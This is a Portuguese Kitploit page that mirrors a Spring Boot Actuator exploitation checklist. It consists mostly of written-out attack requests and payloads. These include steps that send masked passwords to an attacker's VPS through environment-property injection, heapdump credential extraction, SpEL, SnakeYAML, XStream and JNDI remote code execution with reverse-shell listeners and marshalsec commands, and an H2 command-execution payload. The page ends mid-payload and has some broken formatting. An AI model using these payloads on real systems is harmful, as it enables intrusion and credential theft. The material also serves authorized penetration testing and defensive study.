Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
SpringBootVulExploit — Materiais de estudo de vulnerabilidades relacionadas ao SpringBoot, coleção de métodos e técnicas de exploração, check list de avaliação de segurança black-box | Kitploit
Ferramentas/GitHubGitHub/landgrey/springbootvulexploit
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoAprendizado e Educação
GitHublandgrey/springbootvulexploit

SpringBootVulExploit

Materiais de estudo de vulnerabilidades relacionadas ao SpringBoot, coleção de métodos e técnicas de exploração, check list de avaliação de segurança black-box

Ver Repositório
6.1k1.3khá 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Spring Boot Vulnerability Exploit Check List

Materiais de estudo sobre vulnerabilidades relacionadas ao Spring Boot, coleção de métodos e técnicas de exploração, lista de verificação de avaliação de segurança black box

Declaração

⚠️ Todo o conteúdo deste projeto destina-se apenas a pesquisas de segurança e testes autorizados. As pessoas relevantes não se responsabilizam por quaisquer danos causados pelo uso indevido e abuso do projeto

Índice

  • Spring Boot Vulnerability Exploit Check List
    • Zero: Rotas e Versões
      • 0x01: Conhecimento de Rotas
      • 0x02: Conhecimento de Versões
        • Dependências Mútuas entre Versões de Componentes:
        • Dependências entre as versões do Spring Cloud e do Spring Boot:
        • Sufixos e significados dos números de versão secundária do Spring Cloud:
    • Um: Vazamento de Informações
      • 0x01: Vazamento de Endereços de Rotas e Detalhes de Chamadas de Interface
      • 0x02: Configuração Inadequada Expondo Rotas
      • 0x03: Obter o Texto Claro da Senha Mascarada com Asteriscos (Método 1)
        • Condições de Exploração:
        • Método de Exploração:
          • Passo 1: Encontrar o nome da propriedade desejada
          • Passo 2: Chamar o Mbean relacionado via jolokia para obter o texto claro
      • 0x04: Obter o Texto Claro da Senha Mascarada com Asteriscos (Método 2)
        • Condições de Exploração:
        • Método de Exploração:
          • Passo 1: Encontrar o nome da propriedade desejada
          • Passo 2: Usar nc para ouvir requisições HTTP
          • Passo 3: Definir a propriedade eureka.client.serviceUrl.defaultZone
          • Passo 4: Atualizar a configuração
          • Passo 5: Decodificar o valor da propriedade
      • 0x05: Obter o Texto Claro da Senha Mascarada com Asteriscos (Método 3)
        • Condições de Exploração:
        • Método de Exploração:
          • Passo 1: Encontrar o nome da propriedade desejada
          • Passo 2: Usar nc para ouvir requisições HTTP
          • Passo 3: Acionar requisição HTTP externa
          • Passo 4: Atualizar a configuração
      • 0x06: Obter o Texto Claro da Senha Mascarada com Asteriscos (Método 4)
        • Condições de Exploração:
        • Método de Exploração:
          • Passo 1: Encontrar o nome da propriedade desejada
          • Passo 2: Baixar informações do heap da JVM
          • Passo 3: Usar o MAT para obter o texto claro da senha no heap da JVM
    • Dois: Execução Remota de Código
      • 0x01: Página de Erro Whitelabel SpEL RCE
        • Condições de Exploração:
        • Método de Exploração:
          • Passo 1: Encontrar um local de passagem de parâmetros normal
          • Passo 2: Executar expressão SpEL
        • Princípio da Vulnerabilidade:
        • Análise da Vulnerabilidade:
        • Ambiente da Vulnerabilidade:
      • 0x02: Spring Cloud SnakeYAML RCE
        • Condições de Exploração:
        • Método de Exploração:
          • Passo 1: Hostear arquivos yml e jar
          • Passo 2: Definir a propriedade spring.cloud.bootstrap.location
          • Passo 3: Atualizar a configuração
        • Princípio da Vulnerabilidade:
        • Análise da Vulnerabilidade:
        • Ambiente da Vulnerabilidade:
      • 0x03: Eureka XStream Deserialization RCE
        • Condições de Exploração:
        • Método de Exploração:
          • Passo 1: Montar um site que responda com payload XStream malicioso
          • Passo 2: Ouvir a porta de reverse shell
          • Passo 3: Definir a propriedade eureka.client.serviceUrl.defaultZone

Zero: Rotas e Versões

0x01: Conhecimento de Rotas

  • Alguns programadores personalizam /manage, /management, ou nomes relacionados ao App do projeto como caminho raiz do Spring.
  • Na versão 1.x do Spring Boot Actuator, o caminho inicial das rotas internas padrão é /, enquanto na versão 2.x, o caminho inicial é unificado como /actuator.
  • Os nomes das rotas internas padrão do Spring Boot Actuator, como /env, às vezes são modificados pelos programadores, por exemplo, para /appenv.

0x02: Conhecimento de Versões

O Spring Cloud é uma coleção ordenada de uma série de frameworks baseados no Spring Boot para construir serviços e fornecer funcionalidades comuns como gerenciamento de configuração, registro e descoberta de serviços, roteamento inteligente, etc., ajudando no desenvolvimento rápido de sistemas distribuídos.

Dependências Mútuas entre Versões de Componentes:

DependênciaLista de Versões e Versões de Componentes Dependentes
spring-boot-starter-parentspring-boot-starter-parent
spring-boot-dependencies

Dependências entre as versões do Spring Cloud e do Spring Boot:

Sufixos e significados dos números de versão secundária do Spring Cloud:

Sufixo da versão secundáriaSignificado
BUILD-SNAPSHOTVersão snapshot, código não fixo, em constante mudança

Um: Vazamento de Informações

0x01: Vazamento de Endereços de Rotas e Detalhes de Chamadas de Interface

Os desenvolvedores não percebem que o vazamento de endereços pode causar riscos de segurança, ou quando o ambiente de desenvolvimento é alterado para o ambiente de produção online, as pessoas relevantes não alteram os arquivos de configuração, esquecem de alternar a configuração do ambiente, etc.

Acesse diretamente as duas rotas relacionadas ao Swagger a seguir para verificar se a vulnerabilidade existe:``` /v2/api-docs /swagger-ui.html

root@kitploit:~
Algumas outras rotas de interface relacionadas que podem ser encontradas, como swagger, swagger codegen, swagger-dubbo:```
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

Além disso, as seguintes rotas relacionadas ao spring boot actuator às vezes também contêm (ou inferem) algumas informações de endereço de interface, mas não podem obter informações relacionadas aos parâmetros:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops

root@kitploit:~
**De modo geral, expor as interfaces e informações de parâmetros de uma aplicação Spring Boot não é considerado uma vulnerabilidade**, mas, do ponto de vista da "**segurança padrão**", não expor essas informações é mais seguro.

Para um atacante, normalmente ele auditará minuciosamente as interfaces expostas para obter mais conhecimento sobre o sistema de negócios e, ao mesmo tempo, verificará se o sistema de aplicação possui outros tipos de vulnerabilidades de negócio, como acesso não autorizado, escalonamento de privilégios, etc.

### 0x02: Rotas expostas devido a configuração inadequada

> Principalmente porque o desenvolvedor não percebeu que expor rotas poderia representar um risco de segurança durante o desenvolvimento, ou não seguiu o fluxo de trabalho padrão, esquecendo-se de modificar/alternar para a configuração do ambiente de produção quando necessário.

Consultando [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) e [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt), as rotas padrão internas que podem ser expostas devido a configuração inadequada podem incluir:```
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream

Entre as interfaces mais importantes para encontrar vulnerabilidades estão:

  • /env、/actuator/env

    A requisição GET /env vaza diretamente variáveis de ambiente, endereços de rede interna, nomes de utilizadores em configurações, etc.; quando o programador nomeia atributos de forma irregular, por exemplo, escrevendo password como psasword, pwd, pode vazar senhas em texto claro;

    Ao mesmo tempo, existe uma certa probabilidade de definir alguns atributos através da requisição POST ao endpoint /env, desencadeando indiretamente vulnerabilidades RCE relacionadas; também há chance de obter o texto claro de senhas, chaves e outras informações privadas importantes que estavam ocultas com asteriscos.

  • /refresh、/actuator/refresh

    Após definir atributos via requisição POST ao endpoint /env, pode-se combinar com a requisição POST ao endpoint /refresh para atualizar as variáveis de atributo e assim desencadear vulnerabilidades RCE relacionadas.

  • /restart、/actuator/restart

    A exposição deste endpoint é menos comum; pode-se definir atributos via requisição POST ao endpoint /env e depois fazer uma requisição POST ao endpoint para reiniciar a aplicação e desencadear vulnerabilidades RCE relacionadas.

0x03: Obter o texto claro de senhas ocultas com asteriscos (Método 1)

Ao aceder ao endpoint /env, o Spring Actuator substitui por * o valor dos atributos cujo nome contenha palavras-chave sensíveis (como password, secret), para efeitos de ofuscação.

Condições de exploração:

  • O site alvo possui o endpoint /jolokia ou /actuator/jolokia
  • O alvo utiliza a dependência jolokia-core (versão necessária ainda desconhecida)

Método de exploração:

Passo 1: Encontrar o nome do atributo que se pretende obter

Fazer uma requisição GET ao endpoint /env ou /actuator/env do site alvo, procurar pela palavra-chave ****** e encontrar o nome do atributo cujo valor, oculto por asteriscos *, se pretende obter.

Passo 2: Invocar o MBean correspondente através do jolokia para obter o texto claro

Substituir security.user.password no exemplo abaixo pelo nome real do atributo que se pretende obter e enviar o pacote diretamente; o resultado do texto claro estará contido na chave value do pacote de resposta.

  • Invocar o MBean org.springframework.boot

Na verdade, invoca o método getProperty da instância da classe org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar

spring 1.x``` POST /jolokia Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

root@kitploit:~
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
  • Chamar o Mbean org.springframework.cloud.context.environment

Na verdade, é chamar o método getProperty da instância da classe org.springframework.cloud.context.environment.EnvironmentManager

spring 1.x``` POST /jolokia Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

root@kitploit:~
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
  • Chamar outros MBeans

A situação específica do alvo e os MBeans existentes podem ser diferentes. Você pode pesquisar palavras-chave como getProperty para encontrar métodos que possam ser chamados.

0x04: Obtendo texto claro de senhas mascaradas com asteriscos (Método 2)

Condições de exploração:

  • Pode fazer requisição GET para /env do site alvo
  • Pode fazer requisição POST para /env do site alvo
  • Pode fazer requisição POST para a interface /refresh do site alvo para atualizar a configuração (existe a dependência spring-boot-starter-actuator)
  • O alvo utiliza a dependência spring-cloud-starter-netflix-eureka-client
  • O alvo pode fazer requisições para o servidor do atacante (as requisições podem sair para a internet)

Método de exploração:

Passo 1: Encontrar o nome da propriedade que deseja obter

Faça uma requisição GET para a interface /env ou /actuator/env do site alvo, pesquise a palavra-chave ****** e encontre o nome da propriedade correspondente ao valor mascarado por asteriscos * que deseja obter.

Passo 2: Usar nc para escutar requisições HTTP

Escute na porta 80 do seu servidor externo controlado:```bash nc -lvk 80

root@kitploit:~
##### Passo 3: Definir a propriedade eureka.client.serviceUrl.defaultZone

Substitua o `security.user.password` no seguinte `http://value:${security.user.password}@your-vps-ip` pelo nome do atributo correspondente que deseja obter, que está mascarado por asteriscos * ;

Substitua o `your-vps-ip` pelo endereço IP real do seu servidor externo.

spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

root@kitploit:~
##### Passo 4: Atualizar configuração

spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x``` POST /actuator/refresh Content-Type: application/json

root@kitploit:~
##### Passo 5: Decodificar o valor do atributo

Normalmente, neste momento, o servidor que está escutando com nc receberá uma solicitação do alvo, contendo algo semelhante ao seguinte cabeçalho `Authorization`:```
Authorization: Basic dmFsdWU6MTIzNDU2

Decodificando a parte dmFsdWU6MTIzNDU2 com base64, obtém-se um valor em texto claro como value:123456, onde 123456 é o valor do atributo antes da mascaramento com asterisco * alvo.

0x05: Obter o texto claro da senha mascarada com asterisco (Método 3)

Condições de uso:

  • Definir atributo via POST /env para acionar o alvo a fazer uma requisição HTTP arbitrária para um endereço especificado na internet
  • O alvo pode fazer requisições ao servidor do atacante (a requisição pode sair para a internet)

Método de uso:

Referência ao issue-1 proposto por UUUUnotfound, é possível, durante o envio da requisição HTTP externa pelo alvo, usar placeholders no caminho da URL para exfiltrar dados

Passo 1: Encontrar o nome do atributo desejado

Faça uma requisição GET ao endpoint /env ou /actuator/env do site alvo, procure pela palavra-chave ****** e encontre o nome do atributo correspondente ao valor mascarado com asterisco * que deseja obter.

Passo 2: Usar nc para monitorar requisições HTTP

Monitore a porta 80 em seu servidor externo controlado:```bash nc -lvk 80

root@kitploit:~
##### Passo 3: Acionar uma requisição http externa

- O método `spring.cloud.bootstrap.location` (**também aplicável a** casos em que há caracteres especiais de URL nos dados em texto claro)

spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

root@kitploit:~
- `eureka.client.serviceUrl.defaultZone` método (**não aplicável** a casos em que haja caracteres especiais de URL em dados de texto simples)

spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

root@kitploit:~
##### Passo 4: Atualizar configuração

spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x``` POST /actuator/refresh Content-Type: application/json

root@kitploit:~
### 0x06: Obter o texto claro de senhas mascaradas por asteriscos (Método 4)

> Ao acessar o endpoint /env, o Spring Actuator substitui os valores das propriedades com palavras-chave sensíveis (como password, secret) por asteriscos (*) para mascaramento.

#### Condições de exploração:

- Possibilidade de fazer solicitação GET normal para o endpoint `/heapdump` ou `/actuator/heapdump` do alvo.

#### Método de exploração:

##### Passo 1: Encontrar o nome da propriedade desejada

Faça uma solicitação GET para o endpoint `/env` ou `/actuator/env` do site alvo, procure pela palavra-chave `******` e encontre o nome da propriedade cujo valor está mascarado por asteriscos.

##### Passo 2: Baixar as informações do heap da JVM

> O tamanho do arquivo heapdump baixado geralmente fica entre 50M e 500M, às vezes pode ser maior que 2G.

Faça uma solicitação `GET` para o endpoint `/heapdump` ou `/actuator/heapdump` do alvo para baixar as informações do heap da JVM do aplicativo em tempo real.

##### Passo 3: Usar o MAT para obter o texto claro das senhas no heap da JVM

Consulte o método do [artigo](https://landgrey.me/blog/16/) e use a instrução **OQL** da ferramenta [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php).```
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

或

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。

2: Execução Remota de Código

Como as vulnerabilidades relacionadas ao Spring Boot podem ser causadas por combinações de vulnerabilidades de múltiplos componentes, alguns nomes de vulnerabilidades não são muito formais, sendo o suficiente para distingui-los.

0x01: whitelabel error page SpEL RCE

Condições de exploração:

  • Spring Boot 1.1.0-1.1.12, 1.2.0-1.2.7, 1.3.0
  • Pelo menos saber uma interface e nome de parâmetro que acionem a página de erro padrão do Spring Boot

Método de exploração:

Passo 1: Encontrar um local de passagem de parâmetros normal

Por exemplo, ao acessar /article?id=xxx, a página exibirá um erro de código de status 500: Whitelabel Error Page. Então, os payloads subsequentes serão tentados no parâmetro id.

Passo 2: Executar expressão SpEL

Digite /article?id=${7*7}. Se a página de erro mostrar o valor 49 (resultado de 7*7) na página de erro, então basicamente pode-se confirmar que o alvo possui uma vulnerabilidade de injeção de expressão SpEL.

Converter de formato de string para a forma de bytes Java 0x**, para facilitar a execução de código arbitrário:```python

coding: utf-8

result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))

root@kitploit:~
Executar o comando `open -a Calculator````java
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

Princípio da vulnerabilidade:

  1. Quando o Spring Boot processa valores de parâmetros incorretamente, o fluxo entra na classe org.springframework.util.PropertyPlaceholderHelper
  2. Neste momento, os valores dos parâmetros na URL são analisados recursivamente pelo método parseStringValue
  3. O conteúdo cercado por ${} será analisado e executado como uma expressão SpEL pelo método resolvePlaceholder da classe org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration, resultando em uma vulnerabilidade RCE

Análise da vulnerabilidade:

​ Vulnerabilidade de Injeção de Expressão SpEL no SpringBoot - Análise e Reprodução

Ambiente da vulnerabilidade:

repository/springboot-spel-rce

Acesso normal:``` http://127.0.0.1:9091/article?id=66

root@kitploit:~
Execute o comando `open -a Calculator`:```java
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

0x02:spring cloud SnakeYAML RCE

Pré-requisitos:

  • Pode fazer uma requisição POST ao endpoint /env do site alvo para definir propriedades
  • Pode fazer uma requisição POST ao endpoint /refresh do site alvo para atualizar a configuração (dependência spring-boot-starter-actuator presente)
  • A versão do spring-cloud-starter da qual o alvo depende é < 1.3.0.RELEASE
  • O alvo pode fazer requisições ao servidor HTTP do atacante (a requisição pode sair para a rede externa)

Método de exploração:

Passo 1: Hospedar arquivos yml e jar

Em uma máquina VPS sob seu controle, inicie um servidor HTTP simples, usando portas comuns de serviço HTTP (80, 443) quando possível.```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

root@kitploit:~
No diretório raiz do site, coloque um arquivo com sufixo `yml` chamado `example.yml`, com o seguinte conteúdo:```yaml
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/example.jar"]
  ]]
]

No diretório raiz do site, coloque o arquivo com extensão jar chamado example.jar, cujo conteúdo será o código a ser executado. A codificação e compilação do código seguem a referência yaml-payload.

Passo 2: Definir a propriedade spring.cloud.bootstrap.location

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

root@kitploit:~
spring 2.x```
POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
Passo 3: Atualizar Configuração

spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

root@kitploit:~
spring 2.x```
POST /actuator/refresh
Content-Type: application/json

Princípio da Vulnerabilidade:

  1. A propriedade spring.cloud.bootstrap.location é definida como URL de um arquivo yml malicioso externo
  2. O refresh aciona a máquina alvo a solicitar o arquivo yml do servidor HTTP remoto, obtendo seu conteúdo
  3. Devido a uma vulnerabilidade de desserialização no SnakeYAML, a análise do conteúdo yml malicioso executará as ações especificadas
  4. Primeiro, aciona java.net.URL para baixar o arquivo jar malicioso do servidor HTTP remoto
  5. Em seguida, procura classes no arquivo jar que implementam a interface javax.script.ScriptEngineFactory e as instancia
  6. Ao instanciar a classe, o código malicioso é executado, causando a vulnerabilidade RCE

Análise da Vulnerabilidade:

​Notas de estudo sobre Exploit Spring Boot Actuator e Spring Cloud Env

Ambiente da Vulnerabilidade:

repository/springcloud-snakeyaml-rce

Acesso normal:``` http://127.0.0.1:9092/env

root@kitploit:~
### 0x03: RCE por desserialização XStream no Eureka

#### Condições de exploração:

- Pode enviar requisições POST para o endpoint `/env` do site alvo para definir propriedades
- Pode enviar requisições POST para o endpoint `/refresh` do site alvo para atualizar a configuração (com dependência `spring-boot-starter-actuator`)
- O `eureka-client` usado pelo alvo < 1.8.7 (geralmente incluído na dependência `spring-cloud-starter-netflix-eureka-client`)
- O alvo pode fazer requisições ao servidor HTTP do atacante (requisições podem sair para a rede externa)

#### Método de exploração:

##### Passo 1: Configurar um site que responda com um payload XStream malicioso

Fornecer um [exemplo de script Python](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py) que depende do Flask e atende aos requisitos, cujo objetivo é usar o Python nativo da máquina Linux alvo para obter uma shell reversa.

Execute o script acima em seu próprio servidor usando Python e modifique o endereço IP e a porta da shell reversa no script de acordo com a situação real.

##### Passo 2: Escutar a porta da shell reversa

Geralmente usa-se netcat para escutar uma porta, aguardando a shell reversa.```bash
nc -lvp 443
Passo 3: Configure a propriedade eureka.client.serviceUrl.defaultZone

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

root@kitploit:~
spring 2.x```
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
Passo 4: Atualizar Configuração

spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

root@kitploit:~
spring 2.x```
POST /actuator/refresh
Content-Type: application/json

Princípio da vulnerabilidade:

  1. A propriedade eureka.client.serviceUrl.defaultZone é definida como um URL de servidor eureka externo malicioso
  2. O refresh aciona a máquina alvo a solicitar o URL remoto, e o servidor eureka falso previamente configurado retorna um payload malicioso
  3. As dependências relacionadas à máquina alvo analisam o payload, acionando a desserialização XStream, resultando em uma vulnerabilidade RCE

Análise da vulnerabilidade:

​Spring Boot Actuator: De acesso não autorizado a getshell

Ambiente da vulnerabilidade:

repository/springboot-eureka-xstream-rce

Acesso normal:``` http://127.0.0.1:9093/env

root@kitploit:~
### 0x04: jolokia logback JNDI RCE

#### Condições de exploração:

- O site alvo possui a interface `/jolokia` ou `/actuator/jolokia`
- O alvo utiliza a dependência `jolokia-core` (versão necessária desconhecida) e o ambiente possui MBeans relacionados
- O alvo pode solicitar o servidor HTTP do atacante (a solicitação pode sair para a rede externa)

- A injeção JNDI comum é afetada pela versão JDK do alvo, jdk < 6u201/7u191/8u182/11.0.1 (LDAP), mas o ambiente relevante pode contornar isso

#### Método de exploração:

##### Passo 1: Verificar os MBeans existentes

Acesse a interface `/jolokia/list` e verifique se existem as palavras-chave `ch.qos.logback.classic.jmx.JMXConfigurator` e `reloadByURL`.

##### Passo 2: Hospedar o arquivo xml

No seu próprio servidor VPS, inicie um servidor HTTP simples, usando portas comuns de serviços HTTP (80, 443) sempre que possível.```bash
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

Coloque no diretório raiz o arquivo example.xml (terminado em xml), com o seguinte conteúdo:```xml

root@kitploit:~
##### Passo 3: Preparar o código Java a ser executado

Escreva o [código de exemplo Java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) otimizado para obter um reverse shell, `JNDIObject.java`,

Compile de forma compatível com versões antigas do JDK:```bash
javac -source 1.5 -target 1.5 JNDIObject.java

Em seguida, copie o arquivo JNDIObject.class gerado para o diretório raiz do site mencionado na Etapa 2.

Etapa 4: Configurar o serviço LDAP malicioso

Baixe o marshalsec e use o comando abaixo para configurar o serviço LDAP correspondente:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

root@kitploit:~
##### Etapa 5: Escute a porta do shell reverso

Geralmente, use nc para escutar a porta, aguardando o shell reverso```bash
nc -lv 443
Passo seis: Carregar o arquivo de configuração de log a partir de um URL externo

⚠️ Se o alvo solicitar com sucesso o example.xml e o marshalsec também receber a solicitação do alvo, mas o alvo não solicitar o JNDIObject.class, provavelmente é porque a versão do jdk no ambiente alvo é muito alta, resultando na falha da exploração JNDI.

Substitua pelo endereço IP real do seu VPS e acesse o URL para acionar a vulnerabilidade:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

root@kitploit:~
#### Princípio da Vulnerabilidade:

1. Acessar diretamente a URL que pode acionar a vulnerabilidade equivale a invocar o método `reloadByURL` da classe `ch.qos.logback.classic.jmx.JMXConfigurator` via jolokia
2. A máquina alvo solicita o URL do arquivo de configuração de log externo e obtém o conteúdo do arquivo xml malicioso
3. A máquina alvo usa saxParser.parse para analisar o arquivo xml (isso leva à vulnerabilidade XXE)
4. No arquivo xml, usa-se a tag `insertFormJNDI` da dependência `logback` para definir o endereço do servidor JNDI externo
5. A máquina alvo solicita o servidor JNDI malicioso, resultando em injeção JNDI e causando uma vulnerabilidade RCE

#### Análise da Vulnerabilidade:

​	[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)

#### Ambiente da Vulnerabilidade:

[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)

Acesso normal:```
http://127.0.0.1:9094/env

0x05:jolokia Realm JNDI RCE

Condições de Exploração:

  • Existem interfaces /jolokia ou /actuator/jolokia no site alvo
  • O alvo usa a dependência jolokia-core (requisitos de versão atualmente desconhecidos) e existem MBeans relacionados no ambiente
  • O alvo pode solicitar ao servidor do atacante (as solicitações podem sair para a rede externa)
  • A injeção JNDI comum é afetada pela versão JDK do alvo, jdk < 6u141/7u131/8u121(RMI), mas os ambientes relevantes podem contornar

Método de Exploração:

Passo 1: Verificar MBeans Existentes

Acesse o endpoint /jolokia/list e verifique se as palavras-chave type=MBeanFactory e createJNDIRealm existem.

Passo 2: Preparar o Código Java a ser Executado

Escreva o código de exemplo Java otimizado para obter um shell reverso JNDIObject.java.

Passo 3: Hospedar o Arquivo de Classe

Inicie um servidor HTTP simples em uma máquina VPS que você controla, usando portas de serviço HTTP comuns (80, 443) sempre que possível.```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

root@kitploit:~
Copie o arquivo de classe compilado na **etapa 2** para o diretório raiz do servidor HTTP.



##### Etapa 4: Configurar um serviço rmi malicioso

Baixe o [marshalsec](https://github.com/mbechler/marshalsec) e use o seguinte comando para configurar o serviço rmi correspondente:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
Etapa 5: Monitorar a porta para reverse shell

Geralmente, usa-se o nc para escutar a porta e aguardar pelo reverse shell.```bash nc -lvp 443

root@kitploit:~
##### Passo Seis: Enviar Payload Malicioso

Modifique o endereço de destino, endereço RMI, porta e outras informações no script [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) de acordo com a situação real e execute-o no servidor que você controla.



#### Princípio da Vulnerabilidade:

1. Use o jolokia para chamar createJNDIRealm para criar um JNDIRealm
2. Defina o endereço connectionURL como o URL do Serviço RMI
3. Defina contextFactory como RegistryContextFactory
4. Pare o Realm
5. Inicie o Realm para acionar a injeção JNDI no endereço RMI especificado, causando a vulnerabilidade RCE



#### Análise da Vulnerabilidade:

​	[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)



#### Ambiente da Vulnerabilidade:

[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)

Acesso normal:```
http://127.0.0.1:9094/env

0x06:restart h2 database query RCE

Condições de exploração:

  • Pode fazer requisições POST para a interface /env do site alvo para definir propriedades
  • Pode fazer requisições POST para a interface /restart do site alvo para reiniciar a aplicação
  • Existe a dependência com.h2database.h2 (requisitos de versão ainda desconhecidos)

Método de exploração:

Passo 1: Definir a propriedade spring.datasource.hikari.connection-test-query

⚠️ O método 'T5' no payload abaixo precisa ser renomeado (ex: T6) após cada execução de comando para poder ser recriado e usado novamente, caso contrário a vulnerabilidade não será acionada na próxima reinicialização da aplicação.

spring 1.x (execução de comando sem retorno)``` POST /env Content-Type: application/x-www-form-urlencoded

spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

root@kitploit:~
spring 2.x (executar comando sem eco)```
POST /actuator/env
Content-Type: application/json

